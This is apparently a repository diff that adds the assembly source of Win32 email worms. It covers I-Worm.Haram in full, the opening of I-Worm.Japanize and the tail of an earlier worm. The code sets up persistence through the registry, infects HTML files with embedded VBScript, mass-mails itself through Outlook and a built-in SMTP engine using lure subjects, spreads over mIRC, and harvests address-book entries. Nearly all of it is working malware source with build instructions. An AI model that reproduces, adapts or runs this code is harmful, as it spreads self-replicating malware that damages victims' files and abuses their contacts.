_ptkDeleteFileA dd ?
|
||||
_ptkGetDateFormatA dd ?
|
||||
_ptkGetFileSize dd ?
|
||||
_ptkGetModuleFileNameA dd ?
|
||||
_ptkGetSystemDirectoryA dd ?
|
||||
_ptkGetSystemTime dd ?
|
||||
_ptkGetTimeFormatA dd ?
|
||||
_ptkGetWindowsDirectoryA dd ?
|
||||
_ptklstrcat dd ?
|
||||
_ptklstrcmp dd ?
|
||||
_ptklstrcpy dd ?
|
||||
_ptklstrlen dd ?
|
||||
_ptkMapViewOfFile dd ?
|
||||
_ptkSetCurrentDirectoryA dd ?
|
||||
_ptkSleep dd ?
|
||||
_ptkUnmapViewOfFile dd ?
|
||||
_ptkWinExec dd ?
|
||||
_ptkWriteFile dd ?
|
||||
_ptkWriteProfileStringA dd ?
|
||||
_ptkWritePrivateProfileStringA dd ?
|
||||
|
||||
s_vbs: db 'On Error Resume Next',CRLF
|
||||
db 'Set f=CreateObject("Scripting.FileSystemObject")',CRLF
|
||||
db 'Set win=f.GetSpecialFolder(0)',CRLF
|
||||
db 'Set c=f.CreateTextFile(win&"\Outlook_Addr.txt")',CRLF
|
||||
db 'c.Close',CRLF
|
||||
db 'Set out=CreateObject("Outlook.Application")',CRLF
|
||||
db 'Set mapi=out.GetNameSpace("MAPI")',CRLF
|
||||
db 'adr="extractcounter@multimania.com"',CRLF
|
||||
db 'For Each mail in mapi.AddressLists',CRLF
|
||||
db 'If mail.AddressEntries.Count <> 0 Then',CRLF
|
||||
db 'For O=1 To mail.AddressEntries.Count',CRLF
|
||||
db 'adr=adr &";"& mail.AddressEntries(O).Address',CRLF
|
||||
db 'Next',CRLF
|
||||
db 'End If',CRLF
|
||||
db 'Next',CRLF
|
||||
db 'adr=adr &";#"',CRLF,CRLF
|
||||
db 'Set c=f.OpenTextFile(win&"\Outlook_Addr.txt",2)',CRLF
|
||||
db 'c.WriteLine adr',CRLF
|
||||
db 'c.Close',CRLF
|
||||
e_vbs:
|
||||
|
||||
execcontrol db "wscript "
|
||||
vbsexec db 50 dup (0)
|
||||
db "",0
|
||||
|
||||
end start_worm
|
||||
end
|
592
Win32/I-Worm.Haram.asm
Normal file
592
Win32/I-Worm.Haram.asm
Normal file
@ -0,0 +1,592 @@
|
||||
comment *
|
||||
Name : I-Worm.Haram
|
||||
Author : PetiK
|
||||
|
||||
Language : win32asm
|
||||
Date : May 13th 2002 - June 1st 2002
|
||||
|
||||
Size : 5192 bytes (compressed with Petite Tool)
|
||||
|
||||
Comments : - Copy to %sysdir%\FunnyGame.exe
|
||||
- Search all doc files in "Personal" folder and create a new virus html file:
|
||||
|
||||
example : document.doc -> document.htm
|
||||
1) 2)
|
||||
|
||||
1) Good DOC file
|
||||
2) Good HTM virus (1571 bytes)
|
||||
|
||||
- Put the name of all active process and add .htm:
|
||||
|
||||
example : process.exe -> process.exe.htm
|
||||
3) 4)
|
||||
|
||||
3) Real name of active process
|
||||
4) Real name of the HTM virus (in "C:\backup" folder for Win ME/2k/XP)
|
||||
|
||||
- Create a random name file in StarUp folder to spread with Outlook
|
||||
|
||||
- On the 10th, payload : open and close CD door and display a messagebox in loop
|
||||
|
||||
*
|
||||
|
||||
.586p
|
||||
.model flat
|
||||
.code
|
||||
|
||||
JUMPS
|
||||
|
||||
include win32api.inc
|
||||
|
||||
LF equ 10
|
||||
CR equ 13
|
||||
CRLF equ <13,10>
|
||||
|
||||
@pushsz macro msg2psh, empty
|
||||
local next_instr
|
||||
ifnb <empty>
|
||||
%out too much arguments in macro '@pushsz'
|
||||
.err
|
||||
endif
|
||||
call next_instr
|
||||
db msg2psh,0
|
||||
next_instr:
|
||||
endm
|
||||
|
||||
@endsz macro
|
||||
local nxtchr
|
||||
nxtchr: lodsb
|
||||
test al,al
|
||||
jnz nxtchr
|
||||
endm
|
||||
|
||||
api macro a
|
||||
extrn a:proc
|
||||
call a
|
||||
endm
|
||||
|
||||
WIN32_FIND_DATA struct
|
||||
dwFileAttributes dd 0
|
||||
ftCreationTime dd ?,?
|
||||
ftLastAccessTime dd ?,?
|
||||
ftLastWriteTime dd ?,?
|
||||
nFileSizeHigh dd 0
|
||||
nFileSizeLow dd 0
|
||||
dwReserved0 dd 0,0
|
||||
cFileName db 260 dup(0)
|
||||
cAlternateFileName db 14 dup(0)
|
||||
db 2 dup (0)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
PROCESSENTRY32 STRUCT
|
||||
dwSize DWORD ?
|
||||
cntUsage DWORD ?
|
||||
th32ProcessID DWORD ?
|
||||
th32DefaultHeapID DWORD ?
|
||||
th32ModuleID DWORD ?
|
||||
cntThreads DWORD ?
|
||||
th32ParentProcessID DWORD ?
|
||||
pcPriClassBase DWORD ?
|
||||
dwFlags DWORD ?
|
||||
szExeFile db 260 dup(?)
|
||||
PROCESSENTRY32 ENDS
|
||||
|
||||
start: pushad
|
||||
@SEH_SetupFrame <jmp end_worm>
|
||||
|
||||
hide_the_worm:
|
||||
call hide_worm
|
||||
|
||||
get_name:
|
||||
push 50
|
||||
mov esi,offset orgwrm
|
||||
push esi
|
||||
push 0
|
||||
api GetModuleFileNameA
|
||||
|
||||
get_copy_name:
|
||||
mov edi,offset cpywrm
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
api GetSystemDirectoryA
|
||||
add edi,eax
|
||||
mov eax,'nuF\'
|
||||
stosd
|
||||
mov eax,'aGyn'
|
||||
stosd
|
||||
mov eax,'e.em'
|
||||
stosd
|
||||
mov eax,'ex'
|
||||
stosd
|
||||
pop edi
|
||||
|
||||
copy_worm:
|
||||
push 1
|
||||
push edi
|
||||
push esi
|
||||
api CopyFileA
|
||||
test eax,eax
|
||||
je ok_copy
|
||||
|
||||
push 50
|
||||
push edi
|
||||
push 1
|
||||
@pushsz "Haram"
|
||||
@pushsz "Software\Microsoft\Windows\CurrentVersion\Run"
|
||||
push 80000002h
|
||||
api SHSetValueA
|
||||
|
||||
push 50
|
||||
push offset msgwrm
|
||||
push esi
|
||||
api GetFileTitleA
|
||||
push 10h
|
||||
push offset msgwrm
|
||||
@pushsz "ERROR : this file is not a valid Win32 file."
|
||||
push 0
|
||||
api MessageBoxA
|
||||
ok_copy:
|
||||
|
||||
call inf_doc_personal
|
||||
|
||||
get_startup_path:
|
||||
push 0
|
||||
push 7
|
||||
push offset startup
|
||||
push 0
|
||||
api SHGetSpecialFolderPathA
|
||||
push offset startup
|
||||
api SetCurrentDirectoryA
|
||||
|
||||
call cr_vbsname
|
||||
|
||||
mov edi,offset vbsname
|
||||
|
||||
push 0
|
||||
push 1
|
||||
push 2
|
||||
push 0
|
||||
push 1
|
||||
push 40000000h
|
||||
push edi
|
||||
api CreateFileA
|
||||
mov ebp,eax
|
||||
push 0
|
||||
push offset byte_write
|
||||
push e_vbs - s_vbs
|
||||
push offset s_vbs
|
||||
push ebp
|
||||
api WriteFile
|
||||
push ebp
|
||||
api CloseHandle
|
||||
|
||||
|
||||
payload:
|
||||
mov eax,offset sysTime
|
||||
push eax
|
||||
api GetSystemTime
|
||||
lea eax,sysTime
|
||||
cmp word ptr [eax+6],10
|
||||
jne end_payload
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
@pushsz "set CDAudio door open"
|
||||
api mciSendStringA
|
||||
|
||||
push 500
|
||||
api Sleep
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
@pushsz "set CDAudio door closed"
|
||||
api mciSendStringA
|
||||
|
||||
push 40h
|
||||
@pushsz "I-Worm.Haram"
|
||||
@pushsz "Coded by PetiK - ©2002 - France"
|
||||
push 0
|
||||
api MessageBoxA
|
||||
|
||||
api GetTickCount
|
||||
push 10000
|
||||
pop ecx
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc edx
|
||||
mov ecx,edx
|
||||
push ecx
|
||||
api Sleep
|
||||
jmp payload
|
||||
|
||||
end_payload:
|
||||
|
||||
call inf_process
|
||||
|
||||
end_worm:
|
||||
@SEH_RemoveFrame
|
||||
popad
|
||||
push 0
|
||||
api ExitProcess
|
||||
|
||||
hide_worm Proc
|
||||
pushad
|
||||
@pushsz "KERNEL32.DLL"
|
||||
api GetModuleHandleA
|
||||
xchg eax,ecx
|
||||
jecxz end_hide_worm
|
||||
@pushsz "RegisterServiceProcess" ; Registered as Service Process
|
||||
push ecx
|
||||
api GetProcAddress
|
||||
xchg eax,ecx
|
||||
jecxz end_hide_worm
|
||||
push 1
|
||||
push 0
|
||||
call ecx
|
||||
end_hide_worm:
|
||||
popad
|
||||
ret
|
||||
hide_worm EndP
|
||||
|
||||
Spread_Mirc Proc
|
||||
push offset cpywrm
|
||||
push offset mirc_exe
|
||||
api lstrcpy
|
||||
call @mirc
|
||||
db "C:\mirc\script.ini",0
|
||||
db "C:\mirc32\script.ini",0 ; spread with mIRC. Thanx to Microsoft.
|
||||
db "C:\progra~1\mirc\script.ini",0
|
||||
db "C:\progra~1\mirc32\script.ini",0
|
||||
@mirc:
|
||||
pop esi
|
||||
push 4
|
||||
pop ecx
|
||||
mirc_loop:
|
||||
push ecx
|
||||
push 0
|
||||
push 80h
|
||||
push 2
|
||||
push 0
|
||||
push 1
|
||||
push 40000000h
|
||||
push esi
|
||||
api CreateFileA
|
||||
mov ebp,eax
|
||||
push 0
|
||||
push offset byte_write
|
||||
@tmp_mirc:
|
||||
push e_mirc - s_mirc
|
||||
push offset s_mirc
|
||||
push ebp
|
||||
api WriteFile
|
||||
push ebp
|
||||
api CloseHandle
|
||||
@endsz
|
||||
pop ecx
|
||||
loop mirc_loop
|
||||
end_spread_mirc:
|
||||
ret
|
||||
Spread_Mirc EndP
|
||||
|
||||
|
||||
|
||||
inf_doc_personal Proc
|
||||
pushad
|
||||
get_personal_folder:
|
||||
push 0
|
||||
push 5
|
||||
push offset personal
|
||||
push 0
|
||||
api SHGetSpecialFolderPathA
|
||||
push offset personal
|
||||
api SetCurrentDirectoryA
|
||||
fff_doc:
|
||||
push offset ffile
|
||||
@pushsz "*.doc"
|
||||
api FindFirstFileA
|
||||
inc eax
|
||||
je end_f_doc
|
||||
dec eax
|
||||
mov [hfind],eax
|
||||
|
||||
cr_file:
|
||||
push offset ffile.cFileName
|
||||
push offset new_file
|
||||
api lstrcpy
|
||||
mov esi,offset new_file
|
||||
push esi
|
||||
api lstrlen
|
||||
add esi,eax
|
||||
sub esi,4 ; to become \SYSTEM\Wsock32
|
||||
mov [esi],"mth."
|
||||
lodsd
|
||||
|
||||
push 0
|
||||
push 1
|
||||
push 2
|
||||
push 0
|
||||
push 1
|
||||
push 40000000h
|
||||
push offset new_file
|
||||
api CreateFileA
|
||||
mov ebp,eax
|
||||
push 0
|
||||
push offset byte_write
|
||||
push e_htm - s_htm
|
||||
push offset s_htm
|
||||
push ebp
|
||||
api WriteFile
|
||||
push ebp
|
||||
api CloseHandle
|
||||
|
||||
fnf_doc:
|
||||
push offset ffile
|
||||
push [hfind]
|
||||
api FindNextFileA
|
||||
test eax,eax
|
||||
jne cr_file
|
||||
push [hfind]
|
||||
api FindClose
|
||||
end_f_doc:
|
||||
popad
|
||||
ret
|
||||
inf_doc_personal EndP
|
||||
|
||||
|
||||
inf_process Proc
|
||||
popad
|
||||
create_folder:
|
||||
push 0
|
||||
@pushsz "C:\backup"
|
||||
api CreateDirectoryA
|
||||
@pushsz "C:\backup"
|
||||
api SetCurrentDirectoryA
|
||||
enum_process:
|
||||
push 0
|
||||
push 2
|
||||
api CreateToolhelp32Snapshot
|
||||
mov lSnapshot,eax
|
||||
inc eax
|
||||
je end_inf_process
|
||||
lea eax,uProcess
|
||||
mov [eax.dwSize], SIZE PROCESSENTRY32
|
||||
lea eax,uProcess
|
||||
push eax
|
||||
push lSnapshot
|
||||
api Process32First
|
||||
check_process:
|
||||
test eax,eax
|
||||
jz end_process
|
||||
push ecx
|
||||
mov eax,ProcessID
|
||||
push offset uProcess
|
||||
cmp eax,[uProcess.th32ProcessID]
|
||||
je NextProcess
|
||||
lea ebx,[uProcess.szExeFile]
|
||||
|
||||
push ebx
|
||||
push offset new_name
|
||||
api lstrcpy
|
||||
mov edi,offset new_name
|
||||
push edi
|
||||
api lstrlen
|
||||
add edi,eax
|
||||
mov eax,"mth."
|
||||
stosd
|
||||
xor eax,eax
|
||||
stosd
|
||||
push offset new_name
|
||||
@pushsz "System.htm"
|
||||
api lstrcmp
|
||||
test eax,eax
|
||||
jz NextProcess
|
||||
|
||||
push 0
|
||||
push 1
|
||||
push 2
|
||||
push 0
|
||||
push 1
|
||||
push 40000000h
|
||||
push offset new_name
|
||||
api CreateFileA
|
||||
mov ebp,eax
|
||||
push 0
|
||||
push offset byte_write
|
||||
push e_htm - s_htm
|
||||
push offset s_htm
|
||||
push ebp
|
||||
api WriteFile
|
||||
push ebp
|
||||
api CloseHandle
|
||||
|
||||
NextProcess:
|
||||
push offset uProcess
|
||||
push lSnapshot
|
||||
api Process32Next
|
||||
jmp check_process
|
||||
end_process:
|
||||
push lSnapshot
|
||||
api CloseHandle
|
||||
end_inf_process:
|
||||
pushad
|
||||
ret
|
||||
inf_process EndP
|
||||
|
||||
|
||||
cr_vbsname Proc
|
||||
mov edi,offset vbsname
|
||||
; api GetTickCount
|
||||
push 10
|
||||
pop ecx
|
||||
; xor edx,edx
|
||||
; div ecx
|
||||
; inc edx
|
||||
; mov ecx,edx
|
||||
name_g:
|
||||
push ecx
|
||||
api GetTickCount
|
||||
push '9'-'0'
|
||||
pop ecx
|
||||
xor edx,edx
|
||||
div ecx
|
||||
xchg eax,edx
|
||||
add al,'0'
|
||||
stosb
|
||||
api GetTickCount
|
||||
push 100
|
||||
pop ecx
|
||||
xor edx,edx
|
||||
div ecx
|
||||
push edx
|
||||
api Sleep
|
||||
pop ecx
|
||||
loop name_g
|
||||
mov eax,"sbv."
|
||||
stosd
|
||||
ret
|
||||
cr_vbsname EndP
|
||||
|
||||
|
||||
|
||||
.data
|
||||
ffile WIN32_FIND_DATA <?>
|
||||
sysTime db 16 dup(0)
|
||||
|
||||
uProcess PROCESSENTRY32 <?>
|
||||
ProcessID dd ?
|
||||
lSnapshot dd ?
|
||||
new_name db 100 dup (?)
|
||||
|
||||
orgwrm db 50 dup (0)
|
||||
cpywrm db 50 dup (0)
|
||||
msgwrm db 50 dup (0)
|
||||
startup db 70 dup (0)
|
||||
personal db 70 dup (0)
|
||||
new_file db 90 dup (0)
|
||||
vbsname db 20 dup (0)
|
||||
byte_write dd ?
|
||||
hfind dd ?
|
||||
|
||||
s_mirc: db "[script]",CRLF
|
||||
db ";Don't edit this file.",CRLF,CRLF
|
||||
db "n0=on 1:JOIN:{",CRLF
|
||||
db "n1= /if ( $nick == $me ) { halt }",CRLF
|
||||
db "n2= /.dcc send $nick "
|
||||
mirc_exe db 50 dup (?)
|
||||
db CRLF,"n3=}",0
|
||||
e_mirc:
|
||||
|
||||
|
||||
s_htm: db '<haram>',CRLF
|
||||
db '<html><head><title>Windows Media Player</title></head><body>',CRLF
|
||||
db '<script language=VBScript>',CRLF
|
||||
db 'On Error Resume Next',CRLF
|
||||
db 'MsgBox "Please accept the ActiveX",vbinformation,"Internet Explorer"',CRLF
|
||||
db 'Set upfkupfk=CreateObject("Scripting.FileSystemObject")',CRLF
|
||||
db 'Set kupfkvqg=CreateObject("WScript.Shell")',CRLF
|
||||
db 'If err.number=429 Then',CRLF
|
||||
db 'kupfkvqg.Run javascript:location.reload()',CRLF
|
||||
db 'Else',CRLF,CRLF
|
||||
db 'glvqglvb(upfkupfk.GetSpecialFolder(0))',CRLF
|
||||
db 'glvqglvb(upfkupfk.GetSpecialFolder(1))',CRLF
|
||||
db 'glvqglvb(kupfkvqg.SpecialFolders("MyDocuments"))',CRLF
|
||||
db 'glvqglvb(kupfkvqg.SpecialFolders("Desktop"))',CRLF
|
||||
db 'glvqglvb(kupfkvqg.SpecialFolders("Favorites"))',CRLF
|
||||
db 'glvqglvb(kupfkvqg.SpecialFolders("Fonts"))',CRLF
|
||||
db 'End If',CRLF,CRLF
|
||||
db 'Function glvqglvb(dir)',CRLF
|
||||
db 'If upfkupfk.FolderExists(dir) Then',CRLF
|
||||
db ' Set bbbbbbbb=upfkupfk.GetFolder(dir)',CRLF
|
||||
db ' Set bbblvqgl=bbbbbbbb.Files',CRLF
|
||||
db ' For each lvqgvqgl in bbblvqgl',CRLF
|
||||
db ' lvqglvqr=lcase(upfkupfk.GetExtensionName(lvqgvqgl.Name))',CRLF
|
||||
db ' If lvqglvqr="htm" or lvqglvqr="html" Then',CRLF
|
||||
db ' Set rhmwrrhm=upfkupfk.OpenTextFile(lvqgvqgl.path,1 ,False)',CRLF
|
||||
db ' if rhmwrrhm.ReadLine <> "<haram>" Then',CRLF
|
||||
db ' rhmwrrhm.Close()',CRLF
|
||||
db ' Set rhmwrrhm=upfkupfk.OpenTextFile(lvqgvqgl.path,1 ,False)',CRLF
|
||||
db ' htmorg=rhmwrrhm.ReadAll()',CRLF
|
||||
db ' rhmwrrhm.Close()',CRLF
|
||||
db ' Set mwrrhmwr=document.body.createTextRange',CRLF
|
||||
db ' Set rhmwrrhm=upfkupfk.CreateTextFile(lvqgvqgl.path, True, False)',CRLF
|
||||
db ' rhmwrrhm.WriteLine "<haram>"',CRLF
|
||||
db ' rhmwrrhm.Write(htmorg)',CRLF
|
||||
db ' rhmwrrhm.WriteLine mwrrhmwr.htmltext',CRLF
|
||||
db ' rhmwrrhm.Close()',CRLF
|
||||
db ' Else',CRLF
|
||||
db ' rhmwrrhm.Close()',CRLF
|
||||
db ' End If',CRLF
|
||||
db ' End If',CRLF
|
||||
db ' Next',CRLF
|
||||
db 'End If',CRLF
|
||||
db 'End Function',CRLF
|
||||
db '</script></body></html>',0
|
||||
e_htm:
|
||||
|
||||
s_vbs: db 'On Error Resume Next',CRLF
|
||||
db 'Set terqne = CreateObject("Scripting.FileSystemObject")',CRLF
|
||||
db 'Set qumhzh = CreateObject("WScript.Shell")',CRLF
|
||||
db 'Set sys = terqne.GetSpecialFolder(1)',CRLF
|
||||
db 'copyname = sys&"\FunnyGame.exe"',CRLF
|
||||
db 'Set htgx = CreateObject("Outlook.Application")',CRLF
|
||||
db 'Set ofcc = htgx.GetNameSpace("MAPI")',CRLF
|
||||
db 'For each c In ofcc.AddressLists',CRLF
|
||||
db 'If c.AddressEntries.Count <> 0 Then',CRLF
|
||||
db 'For d = 1 To c.AddressEntries.Count',CRLF
|
||||
db 'Set etldb = htgx.CreateItem(0)',CRLF
|
||||
db 'etldb.To = c.AddressEntries(d).Address',CRLF
|
||||
db 'etldb.Subject = "New game from the net for you " & c.AddressEntries(d).Name',CRLF
|
||||
db 'etldb.Body = "Play at this funny game. It''s very cool !"',CRLF
|
||||
db 'etldb.Attachments.Add(copyname)',CRLF
|
||||
db 'etldb.DeleteAfterSubmit = True',CRLF
|
||||
db 'If etldb.To <> "" Then',CRLF
|
||||
db 'etldb.Send',CRLF
|
||||
db 'End If',CRLF
|
||||
db 'Next',CRLF
|
||||
db 'End If',CRLF
|
||||
db 'Next',0
|
||||
e_vbs:
|
||||
|
||||
ends
|
||||
end start
|
||||
|
||||
*************************************************************************
|
||||
|
||||
@tasm32 /M /ML haram.asm
|
||||
@tlink32 -Tpe -aa -c -x haram.obj,,,import32,haram.def
|
||||
rem pause
|
||||
rem upx -9 haram.exe
|
||||
@del *.obj
|
||||
rem pause
|
||||
|
||||
*************************************************************************
|
||||
|
||||
IMPORTS
|
||||
|
||||
SHLWAPI.SHSetValueA
|
||||
SHELL32.SHGetSpecialFolderPathA
|
857
Win32/I-Worm.Japanize.asm
Normal file
857
Win32/I-Worm.Japanize.asm
Normal file
@ -0,0 +1,857 @@
|
||||
;;; XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
;;; I-Worm.Japanize
|
||||
;;; XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
;;;
|
||||
;;;
|
||||
;;; This has some bugs.
|
||||
;;;
|
||||
;;; Here TrendMicro description:
|
||||
;;; ******************************************************************
|
||||
;;; http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=WORM_FBOUND.B&VSect=T
|
||||
;;; Details:
|
||||
;;;The details of the email this worm arrives with may be as follows:
|
||||
;;;
|
||||
;;;To: <recipient>
|
||||
;;;Subject: <"Important" or random Japanese text(applicable on Japanese supported platforms)>
|
||||
;;;Message Body: <blank>
|
||||
;;;Attachment: patch.exe
|
||||
;;;
|
||||
;;;It uses its own SMTP engine and uses the following registry key to retrieve the default SMTP server of the infected system:
|
||||
;;;HKEY_CURRENT_USER\Software\Microsoft\
|
||||
;;;Internet Account Manager\Accounts\00000001
|
||||
;;;
|
||||
;;;It uses the following registry key to retrieve email addresses from the infected user's Windows Address Book (WAB):
|
||||
;;;HKEY_CURRENT_USER\Software\Microsoft\WAB\
|
||||
;;;WAB4Wab File Name = “<pathname of WAB file>”
|
||||
;;;
|
||||
;;;The email arrives with the attachment PATCH.EXE. If the email address of its target ;;;user ends with the extension .jp, the worm randomly selects a phrase, from a list of 17 possible Japanese phrases below, and uses one as the subject of the email:
|
||||
;;;
|
||||
;;;
|
||||
;;;The English translation for the above Japanese text are as follows:
|
||||
;;;Re: the issue that you mentioned
|
||||
;;;Re: important
|
||||
;;;Re: long time no see
|
||||
;;;Re: top secret
|
||||
;;;Re: Hello
|
||||
;;;Re: important information
|
||||
;;;Re: data
|
||||
;;;the issue that you mentioned
|
||||
;;;important
|
||||
;;;long time no see
|
||||
;;;top secret
|
||||
;;;hello
|
||||
;;;important information
|
||||
;;;data
|
||||
;;;frog
|
||||
;;;shit
|
||||
;;;shit
|
||||
;;;
|
||||
;;;Otherwise, it uses the subject “Important."
|
||||
;;;
|
||||
;;;This non-destructive worm does not drop files or create any registry entries. Its propagation depends on the execution of the file attachment in the email.
|
||||
;;;
|
||||
;;;The following text strings are found in the worm body:
|
||||
;;;
|
||||
;;;‘XXXXXXXXXXXXXXXXXXXXXXX’
|
||||
;;;‘XXXXX I-Worm.Japanize XXXXX’
|
||||
;;;‘XXXXXXXXXXXXXXXXXXXXXXX’
|
||||
;;;
|
||||
;;;
|
||||
|
||||
.586p
|
||||
.model flat
|
||||
locals
|
||||
jumps
|
||||
|
||||
|
||||
;;; some lazy shit
|
||||
callW macro @@@x
|
||||
extrn @@@x:proc
|
||||
call @@@x
|
||||
endm
|
||||
|
||||
ofs equ offset
|
||||
|
||||
dwo equ dword ptr
|
||||
wo equ word ptr
|
||||
by equ byte ptr
|
||||
|
||||
HKEY_CURRENT_USER EQU 80000001h
|
||||
CRLF equ <13,10>
|
||||
rdtsc equ <dw 310fh>
|
||||
AF_INET equ 2
|
||||
SOCK_STREAM equ 1
|
||||
|
||||
FILE_ATTRIBUTE_NORMAL EQU 00000080h
|
||||
GENERIC_READ EQU 80000000h
|
||||
GENERIC_WRITE EQU 40000000h
|
||||
PAGE_READONLY EQU 00000002h
|
||||
PAGE_READWRITE EQU 00000004h
|
||||
FILE_MAP_READ EQU 00000004h
|
||||
OPEN_EXISTING EQU 00000003h
|
||||
GHND EQU 042h
|
||||
FILE_SHARE_READ EQU 00000001h
|
||||
FILE_SHARE_WRITE EQU 00000002h
|
||||
|
||||
|
||||
;;; ----------------------------------------------------------------
|
||||
.data
|
||||
hReg dd ?; registry handle
|
||||
str_SMInternetAccountManager db 'Software\Microsoft\Internet Account Manager',0
|
||||
str_SMIAccounts db 'Software\Microsoft\Internet Account Manager\Accounts\'
|
||||
AccountIdx db 9 dup(?); account index
|
||||
bufsiz_accountidx dd 9; size
|
||||
|
||||
str_DMA db 'Default Mail Account',0
|
||||
str_SMTPNAME db 'SMTP Server',0
|
||||
str_SMTPEmailAddr db 'SMTP Email Address',0
|
||||
str_SMWab4 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0
|
||||
|
||||
|
||||
SMTP_Server db 50 dup(?) ; default smtp server
|
||||
bufsiz_SMTPSERVER dd 50
|
||||
morons_Mailaddr db 256 dup(?) ; mail address of moron :)
|
||||
bufsiz_morons_mailaddr dd 256
|
||||
wab4_path db 260 dup(?); wab file path
|
||||
bufsiz_wab4_path dd 260
|
||||
|
||||
buffer db 1000 dup(?)
|
||||
|
||||
hwab4file dd ? ; wab4 file handle
|
||||
hwab4map dd ? ;
|
||||
hwab4mapview dd ? ;
|
||||
|
||||
myfilename db 260 dup(?) ; handle of myself
|
||||
hmyfile dd ?
|
||||
fsize dd ? ; file size
|
||||
|
||||
hmemout0 dd ?
|
||||
ptr_myself dd ?
|
||||
hmemout dd ? ; globalalloc
|
||||
ptr_base64buf dd ? ; globallock
|
||||
|
||||
target_mailaddr db 48h dup(?) ;
|
||||
|
||||
sockaddr_in label byte ;
|
||||
sin_family dw ?
|
||||
sin_port dw ?
|
||||
sin_addr dd ?
|
||||
sin_zero db 8 dup(?)
|
||||
len_sockaddr_in = $ - ofs sockaddr_in
|
||||
|
||||
sock dd ? ; socket descriptor
|
||||
|
||||
recv_buffer db 1024 dup(?) ; recv buffer
|
||||
|
||||
jflag dd 0 ; japanese or not
|
||||
|
||||
smtp_HELO db 'HELO localhost',CRLF
|
||||
len_smtp_HELO = $ - ofs smtp_HELO
|
||||
smtp_MAIL_FROM db 'MAIL FROM: '
|
||||
len_smtp_MAIL_FROM = $ - ofs smtp_MAIL_FROM
|
||||
;crlf
|
||||
smtp_RCPT_TO db 'RCPT TO: '
|
||||
len_smtp_RCPT_TO = $ - ofs smtp_RCPT_TO
|
||||
;crlf
|
||||
smtp_DATA db 'DATA',CRLF
|
||||
len_smtp_DATA = $ - ofs smtp_DATA
|
||||
smtp_BODY_FROM db 'FROM: '
|
||||
len_smtp_BODY_FROM = $ - ofs smtp_BODY_FROM
|
||||
smtp_BODY_TO db CRLF,'TO: '
|
||||
len_smtp_BODY_TO = $ - ofs smtp_BODY_TO
|
||||
smtp_BODY_SUBJECT db CRLF,'SUBJECT: Important',CRLF
|
||||
len_smtp_BODY_SUBJECT = $ - ofs smtp_BODY_SUBJECT
|
||||
|
||||
smtp_DOT_CRLF db '.',CRLF
|
||||
len_smtp_DOT_CRLF = $ - ofs smtp_DOT_CRLF
|
||||
smtp_QUIT db 'QUIT',CRLF
|
||||
len_smtp_QUIT = $ - ofs smtp_QUIT
|
||||
|
||||
smtp_crlf db CRLF
|
||||
|
||||
smtp_MIME_h db 'MIME-Version: 1.0',CRLF
|
||||
db 'Content-Type: multipart/mixed; boundary="Boundary-a8dfidaoRadvfuck"',CRLF
|
||||
db CRLF
|
||||
db '--Boundary-a8dfidaoRadvfuck',CRLF
|
||||
db 'Content-Type: text/plain; charset=iso-2022-jp',CRLF
|
||||
db 'Content-Transfer-Encoding: 7bit',CRLF
|
||||
db 'Content-Description: Mail message body',CRLF
|
||||
db CRLF
|
||||
db CRLF ; text
|
||||
db CRLF
|
||||
db '--Boundary-a8dfidaoRadvfuck',CRLF
|
||||
db 'Content-Type: application/x-msdownload; name="patch.exe"',CRLF
|
||||
db 'Content-Disposition: attachment; filename="patch.exe"',CRLF
|
||||
db 'Content-Transfer-Encoding: BASE64',CRLF
|
||||
db CRLF
|
||||
len_smtp_MIME_h = $ - ofs smtp_MIME_h
|
||||
;; base64 body
|
||||
smtp_MIME_e db CRLF,'--Boundary-a8dfidaoRadvfuck--',CRLF,CRLF
|
||||
len_smtp_MIME_e = $ - ofs smtp_MIME_e
|
||||
|
||||
r_seed dd 10987293h ; random seed
|
||||
|
||||
|
||||
smtp_jsubject_1 db CRLF,'SUBJECT: =?ISO-2022-JP?B?'
|
||||
len_smtp_jsubject_1 = $ - ofs smtp_jsubject_1
|
||||
smtp_jsubject_2 db '?=',CRLF
|
||||
len_smtp_jsubject_2 = $ - ofs smtp_jsubject_2
|
||||
|
||||
|
||||
;;; japanese subjects table
|
||||
japanese_subjects label byte
|
||||
dd ofs js_01
|
||||
dd ofs js_02
|
||||
dd ofs js_03
|
||||
dd ofs js_04
|
||||
dd ofs js_05
|
||||
dd ofs js_06
|
||||
dd ofs js_07
|
||||
dd ofs js_08
|
||||
dd ofs js_09
|
||||
dd ofs js_10
|
||||
dd ofs js_11
|
||||
dd ofs js_12
|
||||
dd ofs js_13
|
||||
dd ofs js_14
|
||||
dd ofs js_15
|
||||
dd ofs js_16
|
||||
dd ofs js_17
|
||||
num_of_jsub = ($ - ofs japanese_subjects)/4
|
||||
js_01 db 'GyRCPUVNVxsoQg==',0 ; 重要
|
||||
js_02 db 'UmU6GyRCPUVNVxsoQg==',0; Re:重要
|
||||
js_03 db 'GyRCPUVNVyRKJCpDTiRpJDsbKEI=',0; 重要なお知らせ
|
||||
js_04 db 'UmU6GyRCPUVNVyRKJCpDTiRpJDsbKEI=',0; Re:重要なおしらせ
|
||||
js_05 db 'GyRCTmMkTjdvGyhC',0 ; 例の件
|
||||
js_06 db 'UmU6GyRCTmMkTjdvGyhC',0; Re:例の件
|
||||
js_07 db 'GyRCJCo1VyQ3JFYkaiRHJDkbKEI=',0; お久しぶりです
|
||||
js_08 db 'UmU6GyRCJCo1VyQ3JFYkaiRHJDkbKEI=',0; Re:お久しぶりです
|
||||
js_09 db 'GyRCJDMkcyRLJEEkTxsoQg==',0; こんにちは
|
||||
js_10 db 'UmU6GyRCJDMkcyRLJEEkTxsoQg==',0; Re:こんにちは
|
||||
js_11 db 'GyRCNktIaxsoQg==',0 ; 極秘
|
||||
js_12 db 'UmU6GyRCNktIaxsoQg==',0; Re:極秘
|
||||
js_13 db 'GyRCO3FOQRsoQg==',0 ; 資料
|
||||
js_14 db 'UmU6GyRCO3FOQRsoQg==',0; Re:資料
